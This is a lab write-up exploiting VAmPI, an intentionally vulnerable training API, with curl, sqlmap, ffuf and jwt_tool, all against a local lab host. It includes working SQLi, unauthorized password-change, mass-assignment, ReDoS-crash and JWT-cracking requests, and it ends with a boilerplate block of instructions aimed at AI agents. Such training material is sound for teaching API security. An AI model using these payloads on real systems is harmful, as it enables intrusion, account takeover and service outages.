# VAmPI

## SUMMARY

[VAmPI](https://github.com/erev0s/VAmPI) is an educational vulnerable API created by [erev0s](https://erev0s.com/blog/vampi-vulnerable-api-security-testing/) that includes vulnerabilities from the [OWASP top 10 for APIs (2019)](https://owasp.org/API-Security/editions/2019/en/0x11-t10/). The API features an application where users can register and then login to post books. For any book the data accepted are the title and a secret about that book. Each book is unique for every user and only the owner of the book should be allowed to view the secret.

According to the documentation, the vulnerabilities contained in the source code are the following:

1. SQLi Injection.
2. Unauthorized password change.
3. BOLA (Broken Object Level Authorization).
4. Mass assignment.
5. Excessive data exposure through debug endpoint.
6. User and password enumeration.
7. RegexDOS (Denial of Service).
8. Lack of resources & rate limiting.
9. JWT authentication bypass via weak signing key.

The exercise can be solved using Burpsuite, Postman or Curl. Since we have already used the first two ones in [crAPI](/book/api/crapi.md) and [vAPI](/book/api/vapi.md) respectively, we will use Curl this time for the sake of learning and trying different tools.

## KEYWORDS

API, OWASP top 10 API, Curl, SQLi, SQLmap, BOLA, mass assignment, user enumeration, RegexDOS, evil regex, JWT vulnerabilities.

## REFERENCES

<https://github.com/erev0s/VAmPI>

<https://erev0s.com/blog/vampi-vulnerable-api-security-testing/>

<https://owasp.org/API-Security/editions/2019/en/0x11-t10/>

&#x20;<https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS>

<https://devina.io/redos-checker>

<https://book.hacktricks.wiki/en/pentesting-web/regular-expression-denial-of-service-redos.html>

## INSTALLATION

Download the Docker image.

```bash
> docker pull erev0s/vampi:latest
latest: Pulling from erev0s/vampi
da9db072f522: Pull complete
8e8107752a3f: Pull complete
3573cf11bf5f: Pull complete
8006e90fa555: Pull complete
be3dc3bf7f89: Pull complete
4f4fb700ef54: Pull complete
4d16edbca2d5: Pull complete
431733e7bbd9: Pull complete
Digest: sha256:875ebde5e0a4e575212e58a00a848fef9a045299befbdb48d177616095fc6f35
Status: Downloaded newer image for erev0s/vampi:latest
docker.io/erev0s/vampi:latest
```

And run a container based on the image. Normally, VAmPI is designed to listen on port 5000, but in this case I used port 8011 because my local lab already has port 5000 in use.

```bash
> docker run -d -p 8011:5000 dc13b794b8a1
267883a02526a819f943b0eb8f8c9d5278a32031dba999d81c9eb5190d019683
```

The Swagger UI documentation site is now accessible on port 8011.

<figure><img src="/files/50i2Rn9IjIV2kfg0t7fT" alt=""><figcaption></figcaption></figure>

Let's try querying the welcome endpoint.

```bash
> curl -vX GET -H 'accept: application/json' http://10.1.1.11:8011/
```

<figure><img src="/files/rziMQsiTSwHcBIcsMn6D" alt=""><figcaption></figcaption></figure>

## ENUMERATION

Port scan.

{% code overflow="wrap" %}

```bash
> for ports in $(nmap $target -p- --min-rate=5000 -Pn --open --reason | grep open | awk -F "/" '{print $1}' | tr '\n' ',' | sed s/,$//); do nmap $target -p$ports -sV -sC -Pn -vv -n && echo "\nList of open ports: $ports";done 

Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-11 17:36 GMT
Nmap scan report for 10.1.1.11
Host is up, received user-set (0.00039s latency).
Scanned at 2025-02-11 17:36:42 GMT for 88s
PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 8be0259d91b29350b4459f838facb74d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLT6wwJTer/+DKjTHq17dKEjw82WZVl0c5HclgD94WVnqNq/dFjBJVtjvNHlwhj3IB2ta1GFHBdeXLx8xp+j0UE=
|   256 3a6b9b777ca7738db0f7f88de8222b80 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIALpQa+3h1F16fiGkVf84y5A1VhaqD8dBsN4GfDWARg+
8011/tcp open  unknown syn-ack
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.3 Python/3.11.10
|     Date: Tue, 11 Feb 2025 17:42:21 GMT
|     Content-Type: application/json
|     Content-Length: 271
|     Connection: close
|     "message": "VAmPI the Vulnerable API", "help": "VAmPI is a vulnerable on purpose API. It was created in order to evaluate the efficiency of third party tools in identifying vulnerabilities in APIs but it can also be used in learning/teaching purposes.", "vulnerable":1}
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.3 Python/3.11.10
|     Date: Tue, 11 Feb 2025 17:42:21 GMT
|     Content-Type: text/html; charset=utf-8
|     Allow: GET, OPTIONS, HEAD
|     Content-Length: 0
|     Connection: close
|   Help:
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request syntax ('HELP').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|     </html>
|   RTSPRequest:
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8011-TCP:V=7.93%I=7%D=2/11%Time=67AB8AB0%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,1B6,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.2\.3\x20
SF:Python/3\.11\.10\r\nDate:\x20Tue,\x2011\x20Feb\x202025\x2017:42:21\x20G
SF:MT\r\nContent-Type:\x20application/json\r\nContent-Length:\x20271\r\nCo
SF:nnection:\x20close\r\n\r\n{\x20\"message\":\x20\"VAmPI\x20the\x20Vulner
SF:able\x20API\",\x20\"help\":\x20\"VAmPI\x20is\x20a\x20vulnerable\x20on\x
SF:20purpose\x20API\.\x20It\x20was\x20created\x20in\x20order\x20to\x20eval
SF:uate\x20the\x20efficiency\x20of\x20third\x20party\x20tools\x20in\x20ide
SF:ntifying\x20vulnerabilities\x20in\x20APIs\x20but\x20it\x20can\x20also\x
SF:20be\x20used\x20in\x20learning/teaching\x20purposes\.\",\x20\"vulnerabl
SF:e\":1}")%r(HTTPOptions,C8,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeu
SF:g/2\.2\.3\x20Python/3\.11\.10\r\nDate:\x20Tue,\x2011\x20Feb\x202025\x20
SF:17:42:21\x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nAllo
SF:w:\x20GET,\x20OPTIONS,\x20HEAD\r\nContent-Length:\x200\r\nConnection:\x
SF:20close\r\n\r\n")%r(RTSPRequest,16C,"<!DOCTYPE\x20HTML>\n<html\x20lang=
SF:\"en\">\n\x20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\
SF:x20charset=\"utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x20<title>Error\x20
SF:response</title>\n\x20\x20\x20\x20</head>\n\x20\x20\x20\x20<body>\n\x20
SF:\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20response</h1>\n\x20\x20\x20\x2
SF:0\x20\x20\x20\x20<p>Error\x20code:\x20400</p>\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20<p>Message:\x20Bad\x20request\x20version\x20\('RTSP/1\.0'\)\.</
SF:p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code\x20explanation:\x2
SF:0400\x20-\x20Bad\x20request\x20syntax\x20or\x20unsupported\x20method\.<
SF:/p>\n\x20\x20\x20\x20</body>\n</html>\n")%r(Help,167,"<!DOCTYPE\x20HTML
SF:>\n<html\x20lang=\"en\">\n\x20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x2
SF:0<title>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\x20\x20\x2
SF:0\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20response</h1>
SF:\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>\n\x20\x2
SF:0\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20syntax\x20\('
SF:HELP'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code\x20expl
SF:anation:\x20400\x20-\x20Bad\x20request\x20syntax\x20or\x20unsupported\x
SF:20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
Nmap done: 1 IP address (1 host up) scanned in 88.16 seconds
 
List of open ports: 22,8011
```

{% endcode %}

Before start attacking the API, we are advised to populate the database with dummy data, this is done by sending a GET request to the `/createdb` endpoint.

```bash
> curl -vX GET -H 'accept: application/json' http://10.1.1.11:8011/createdb
```

<figure><img src="/files/UxAj5hACnrtQ9EQVXSEp" alt=""><figcaption></figcaption></figure>

And we also need to register a new user in the `/users/v1/register endpoint`

```bash
> curl -vX POST -H 'accept: application/json' -H 'Content-Type: application/json' \
  -d '{
"email": "g1vi@mail.com",
"password": "passworrd123",
"username": "g1vi"
}' \
http://10.1.1.11:8011/users/v1/register
```

<figure><img src="/files/qV3cOHXXtomTEaCOo7fj" alt=""><figcaption></figcaption></figure>

We can now log in and get a token.

```bash
> curl -vX POST -H 'accept: application/json' -H 'Content-Type: application/json' \
  -d '{     
"username": "g1vi",       
"password": "passworrd123"
}' \  
http://10.1.1.11:8011/users/v1/login
```

<figure><img src="/files/OSIK5xfEYol1DE3bi650" alt=""><figcaption></figcaption></figure>

We are ready to start enumerating the vulnerabilities indicated by the author.

## SQL INJECTION

The vulnerability is located in the file `models/user_model.py`&#x20;

The user input is used to create and execute an SQL request without sanitization.

<div align="left"><figure><img src="/files/Sdz0PMzHHrY75k9Ga86k" alt="" width="563"><figcaption></figcaption></figure></div>

This vulnerability affects the endpoint `users/v1/{username}`. To confirm the vulnerability we will use a basic SQLi payload.

{% code overflow="wrap" %}

```bash
> curl -vX GET -H 'accept: application/json' \
  -H 'Authortization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzkzNzY0NzUsImlhdCI6MTczOTM3NjQxNSwic3ViIjoiZzF2aSJ9.1WT4Nx00D3j6PtDIHBTY8VtBR6QBuZ-Rjl7OURVm3mU
}' \
"http://10.1.1.11:8011/users/v1/g1vi'+OR+1%3d1"
```

{% endcode %}

<figure><img src="/files/RJBLFLraEiSh8sRXfGaT" alt=""><figcaption></figcaption></figure>

The application returns an error, but inspecting the output carefully we see the SQL request `SELECT * FROM users WHERE username = 'g1vi'+OR+1=1` has been created taking our input without sanitization, so the vulnerability is confirmed.

Let's exploit the vulnerability with `sqlmap`

{% code overflow="wrap" %}

```bash
> sqlmap -u 'http://10.1.1.11:8011/users/v1/*g1vi*' --method=GET --headers="Accept: application/json\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzkzNzY0NzUsImlhdCI6MTczOTM3NjQxNSwic3ViIjoiZzF2aSJ9.1WT4Nx00D3j6PtDIHBTY8VtBR6QBuZ-Rjl7OURVm3mU" --batch --threads 10 --dbms=sqlite --dump
```

{% endcode %}

The tool is able to dump the `users` table.

<figure><img src="/files/pLIGqePmQUWCYEXTHMe9" alt=""><figcaption></figcaption></figure>

And the `books` table.

<figure><img src="/files/bQFQSSjo4ZYVzCY6Ev06" alt=""><figcaption></figcaption></figure>

## UNAUTHORIZED PASSWORD CHANGE

This vulnerability is found in the file `api_views/users.py`

The application takes the password from a JSON parameter and uses it to modify the old one. This is possible as authorization is not made at object level as in BOLA vulnerabilities. In other words, the application does not check if the user token we are using to authenticate is authorized to change the password.

<figure><img src="/files/vz30zoN8w3tEPOh8HC55" alt=""><figcaption></figcaption></figure>

Let's exploit this by sending a PUT request to the `/users/v1/name1/password` endpoint to modify user `name1` password. We just need to be logged with our own token, it will work because the application does not check if our user has permissions to modify somebody else's passwords.

{% code overflow="wrap" %}

```bash
> curl -vX PUT -H 'accept: application/json' -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzkzNzkwNDYsImlhdCI6MTczOTM3ODk4Niwic3ViIjoiZzF2aSJ9.M9bg2yjtHEn4AhjOJigZc2lXl3MmJhV6e-ODLfjt4sY' \
  -d '{
  "password": "password123"
}' \
http://10.1.1.11:8011/users/v1/name1/password
```

{% endcode %}

<figure><img src="/files/064OHJ84XyPLbMrsmzIX" alt=""><figcaption></figcaption></figure>

The API returns with code 204. We can verify the password has been changed by logging in as user `name1` with the new password, and then verifying the old password does not work.

{% code overflow="wrap" %}

```bash
> curl -vX POST -H 'accept: application/json' -H 'Content-Type: application/json' \
  -d '{
"username": "name1",
"password": "password123"
}' \
http://10.1.1.11:8011/users/v1/login
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 10.1.1.11:8011...
* Connected to 10.1.1.11 (10.1.1.11) port 8011 (#0)
> POST /users/v1/login HTTP/1.1
> Host: 10.1.1.11:8011
> User-Agent: curl/7.85.0
> accept: application/json
> Content-Type: application/json
> Content-Length: 50
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: Werkzeug/2.2.3 Python/3.11.10
< Date: Wed, 12 Feb 2025 16:56:34 GMT
< Content-Type: application/json
< Content-Length: 224
< Connection: close
<
* Closing connection 0
{"auth_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzkzNzk0NTQsImlhdCI6MTczOTM3OTM5NCwic3ViIjoibmFtZTEifQ.qVJgFY6_GV2Hyx1JAIseRCxgAhPUEbpBqgJ5uoldW6s", "message": "Successfully logged in.", "status": "success"}
 
> curl -vX POST -H 'accept: application/json' -H 'Content-Type: application/json' \
  -d '{
"username": "name1",
"password": "pass1"    
}' \
http://10.1.1.11:8011/users/v1/login
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 10.1.1.11:8011...
* Connected to 10.1.1.11 (10.1.1.11) port 8011 (#0)
> POST /users/v1/login HTTP/1.1
> Host: 10.1.1.11:8011
> User-Agent: curl/7.85.0
> accept: application/json
> Content-Type: application/json
> Content-Length: 44
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: Werkzeug/2.2.3 Python/3.11.10
< Date: Wed, 12 Feb 2025 16:56:44 GMT
< Content-Type: application/json
< Content-Length: 81
< Connection: close
<
* Closing connection 0
{ "status": "fail", "message": "Password is not correct for the given username."}
```

{% endcode %}

## BROKEN OBJECT LEVEL AUTHORIZATION

The vulnerability is found in the file `api_views/books.py`

The application takes the book name and retrieves all parameters from the database, including the book secret. No authorization check are made to verify if the user is allowed to retrieve this secret, contrary to what is said in the documentation: "*each book is unique for every user and only the owner of the book should be allowed to view the secret"*.

<figure><img src="/files/wnDZZ8XmWqeFCPvi3mD1" alt=""><figcaption></figcaption></figure>

To confirm the vulnerability, first we dump all book names using our token.

{% code overflow="wrap" %}

```bash
> curl -vX GET -H 'accept: application/json' \
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzkzODA5NjcsImlhdCI6MTczOTM4MDkwNywic3ViIjoiZzF2aSJ9.UHqtQbz3ZCrBuz87W44T0GdjZYKuItme7YIB8RQ5FrQ' \
http://10.1.1.11:8011/books/v1
```

{% endcode %}

<figure><img src="/files/dSLAytlxZBdzJobOtLkd" alt=""><figcaption></figcaption></figure>

Then we query one of them, for example `bookTitle1`

{% code overflow="wrap" %}

```bash
> curl -vX GET -H 'accept: application/json' \
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzkzODA5NjcsImlhdCI6MTczOTM4MDkwNywic3ViIjoiZzF2aSJ9.UHqtQbz3ZCrBuz87W44T0GdjZYKuItme7YIB8RQ5FrQ' \
http://10.1.1.11:8011/books/v1/bookTitle1
```

{% endcode %}

<figure><img src="/files/ZSbwkOeszjgkHiB3kmDL" alt=""><figcaption></figcaption></figure>

And we verify we are able to see the book's secret using our token, when it is supposed to be allowed only for its owner. This is possible because no authorization checks are made at object (book) level.

## MASS ASSIGNMENT

This vulnerability is found in the source file `api_views/users.py`

We are prompted to escalate our privileges by manipulating the POST register request adding an extra parameter.

<figure><img src="/files/lg4IFV7RhFvmKqxGpbza" alt=""><figcaption></figcaption></figure>

According to the source code, as long as we register a new user adding an extra parameter called `admin` (with any value) we will receive administrative privileges.

```bash
> curl -vX POST -H 'accept: application/json' -H 'Content-Type: application/json' \
  -d '{
"email": "g1vi@mail.com",
"password": "password123",
"username": "g1vi_admin",
"admin": "hey"
}' \
http://10.1.1.11:8011/users/v1/register
```

<figure><img src="/files/MwWHVYyO2mTeAGRnbxh6" alt=""><figcaption></figcaption></figure>

## EXCESSIVE DATA EXPOSURE THROUGH DEBUG ENDPOINT

During application development, programmers usually create endpoints for debugging purposes. These may remain active after entry into service, leaking all kind of sensitive information. We are prompted to find one of these debug endpoints.

The debug endpoint code is found in file `api_views/users.py`, where we find a call to `get_all_users_debug()`

<div align="left"><figure><img src="/files/Dd0KyTEVH2qrkAynEq02" alt="" width="548"><figcaption></figcaption></figure></div>

Which in turn calls a method in `models/user_model.py` that basically makes a query to retrieve all user parameters in the database.

<div align="left"><figure><img src="/files/0TU1NJNx15XuiVpnmK4m" alt="" width="533"><figcaption></figcaption></figure></div>

Let's query this endpoint and see what happens.

```bash
> curl -vX GET http://10.1.1.11:8011/users/v1/_debug
```

<div align="left"><figure><img src="/files/vUQzmvmgrccfoPfMWBk3" alt="" width="563"><figcaption></figcaption></figure></div>

In fact we see all info related to the users, including changes we have made so far: our new user, the admin we have just created user and the password we modified before.

## USER AND PASSWORD ENUMERATION

This is related to applications being too verbose when a failed login attempt happens, either by a wrong username or by a wrong password. Normally, the application should provide the same information or error message in both cases, so the attacker is not able to assemble a brute force attack.

Vulnerability is found in `api_views/users.py`

<figure><img src="/files/UdW7kRaUaQ79dLDZz3h9" alt=""><figcaption></figcaption></figure>

Here we see there are two different messages for both cases. This permits us enumerating usernames, and when a valid one is found, we can brute force the password.

To demonstrate this first we force two failed login attempts.

{% code overflow="wrap" %}

```bash
> curl -vX POST -H 'accept: application/json' -H 'Content-Type: application/json' \
  -d '{     
"username": "g1vi",
"password": "hey"     
}' \  
http://10.1.1.11:8011/users/v1/login
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 10.1.1.11:8011...
* Connected to 10.1.1.11 (10.1.1.11) port 8011 (#0)
> POST /users/v1/login HTTP/1.1
> Host: 10.1.1.11:8011
> User-Agent: curl/7.85.0
> accept: application/json
> Content-Type: application/json
> Content-Length: 41
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: Werkzeug/2.2.3 Python/3.11.10
< Date: Wed, 12 Feb 2025 18:16:10 GMT
< Content-Type: application/json
< Content-Length: 81
< Connection: close
<
* Closing connection 0
{ "status": "fail", "message": "Password is not correct for the given username."}
 
> curl -vX POST -H 'accept: application/json' -H 'Content-Type: application/json' \
  -d '{
"username": "hey",
"password": "password123"
}' \  
http://10.1.1.11:8011/users/v1/login
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 10.1.1.11:8011...
* Connected to 10.1.1.11 (10.1.1.11) port 8011 (#0)
> POST /users/v1/login HTTP/1.1
> Host: 10.1.1.11:8011
> User-Agent: curl/7.85.0
> accept: application/json
> Content-Type: application/json
> Content-Length: 48
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: Werkzeug/2.2.3 Python/3.11.10
< Date: Wed, 12 Feb 2025 18:16:25 GMT
< Content-Type: application/json
< Content-Length: 57
< Connection: close
<
* Closing connection 0
{ "status": "fail", "message": "Username does not exist"}
```

{% endcode %}

With the reply length data we can enumerate usernames with `ffuf`

For this, capture a login request with Burpsuite and edit to add FUZZ fields in the `username` parameter.

The resulting request should be something similar to this.

```http
POST /users/v1/login HTTP/1.1
Host: 10.1.1.11:8011
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://10.1.1.11:8011/ui/
Content-Type: application/json
Origin: http://10.1.1.11:8011
Content-Length: 48
Connection: close
 
{
  "password": "pass1",
  "username": "FUZZ"
}
```

Now use `ffuf` to enumerate usernames, exclude responses with size 57 (to find this, check `Content-Length` parameter in the previous responses).

{% code overflow="wrap" %}

```bash
> ffuf -c -request request.http -request-proto http -t 100 -fs 57 -w ./xato-net-10-million-usernames.txt
```

{% endcode %}

<figure><img src="/files/A7nuk0mHTj7j81ht5lEk" alt=""><figcaption></figcaption></figure>

In fact, abusing the vulnerability we have been able to enumerate two valid usernames. Next step would be to brute force both passwords with a similar attack.

## REGEXDOS (DENIAL OF SERVICE)

RegexDOS (Regular Expression Denial of Service) is a vulnerability affecting unsafe regular expressions. They are vulnerable if certain inputs provoke [unreasonably long processing times, impacting application availability](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS).

The vulnerable regular expression is located in the file `api_views/users.py`

<figure><img src="/files/wUOo0vzApLXakEU5rZM4" alt=""><figcaption></figcaption></figure>

This part of the code is supposed to validate user input when entering an email address. If the address is invalid an error message is reported.

Let's try an invalid email to see how the regular expression works.

{% code overflow="wrap" %}

```bash
> curl -vX PUT -H 'accept: */*' -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzkzODY3ODAsImlhdCI6MTczOTM4NjcyMCwic3ViIjoiZzF2aSJ9.CIqwXUMvKQFD4jKhWii0eNXSTC3t66hWytRepvk9Sbc' \
  -d '{
  "email": "hey"
}' \
http://10.1.1.11:8011/users/v1/g1vi/email
```

{% endcode %}

<figure><img src="/files/7eiughzKPbByesxnSAcD" alt=""><figcaption></figcaption></figure>

This endpoint is candidate for regex denial of service. Now we have to [check if the regular expression it is vulnerable](https://devina.io/redos-checker) and then, find a suitable input ([evil regex](https://book.hacktricks.wiki/en/pentesting-web/regular-expression-denial-of-service-redos.html)) to cause the API to crash.&#x20;

<figure><img src="/files/zFHExzpeqSwD7AjTeR0B" alt=""><figcaption></figcaption></figure>

The following Python script creates an evil regex as suggested.

{% code overflow="wrap" %}

```bash
> python3 -c "print('A'+'0A.AA.-A'*28+'00.AA')"
A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A00.AA
```

{% endcode %}

Now just send the payload to the endpoint to make it crash.

{% code overflow="wrap" %}

```bash
> curl -vX PUT -H 'accept: */*' -H 'Content-Type: application/json' \             
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzkzODc5MDksImlhdCI6MTczOTM4Nzg0OSwic3ViIjoiZzF2aSJ9.5Axnoz_NbeCYZWxLL1-1FfE_H33ezkb9DWRwMcjcvAs' \
  -d '{
  "email": "A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A00.AA"
}' \                                    
http://10.1.1.11:8011/users/v1/g1vi/email
```

{% endcode %}

<figure><img src="/files/ja2cjjQiPKuK0RZe7REf" alt=""><figcaption></figcaption></figure>

The API crashes. The server needs to be restarted to continue the test.

<figure><img src="/files/quuQw4QZruHrRaS5YZCT" alt=""><figcaption></figcaption></figure>

## LACK OF RESOURCES AND RATE LIMITING

This vulnerability is related to applications that do not provide a limit to the amount of resources required to satisfy specific users requests. This is a useful protection against, for example, attacks that send a high number of requests in short time, such as user enumeration or password brute force.

This vulnerability has been previously confirmed, when we have been able to enumerate usernames.

## JWT AUTHENTICATION BYPASS VIA WEAK SIGNING KEY

Generate an authentication token and inspect it with `jwt_tool`

{% code overflow="wrap" %}

```bash
> jwt_tool eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzkzODc5MDksImlhdCI6MTczOTM4Nzg0OSwic3ViIjoiZzF2aSJ9.5Axnoz_NbeCYZWxLL1-1FfE_H33ezkb9DWRwMcjcvAs
```

{% endcode %}

<figure><img src="/files/PAF9oHUuT4xkT24OohmP" alt=""><figcaption></figcaption></figure>

The token uses symmetric encryption, so maybe we can crack the key if a vulnerable one has been used.

{% code overflow="wrap" %}

```bash
> jwt_tool -C -d /usr/share/wordlists/rockyou.txt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzkzODc5MDksImlhdCI6MTczOTM4Nzg0OSwic3ViIjoiZzF2aSJ9.5Axnoz_NbeCYZWxLL1-1FfE_H33ezkb9DWRwMcjcvAs
```

{% endcode %}

<figure><img src="/files/juZEv5kktJOG1TcxtwXZ" alt=""><figcaption></figcaption></figure>

With the cracked password we can forge tickets for another user, for example, `name2`

<figure><img src="/files/NrVaLrApfPHtwqgdXfhm" alt=""><figcaption></figcaption></figure>

And use the forged ticket to interact with the API as `name2`

<figure><img src="/files/JfHDsZVY5d5wI4WuMtIl" alt=""><figcaption></figcaption></figure>

## WRAPPING UP

At this point we have been able to find and exploit the 9 vulnerabilities proposed by the author in the VAmPI documentation, using only Curl to interact with the API as we had proposed at the beginning of the exercise.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://allthewriteups.gitbook.io/book/api/vampi.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
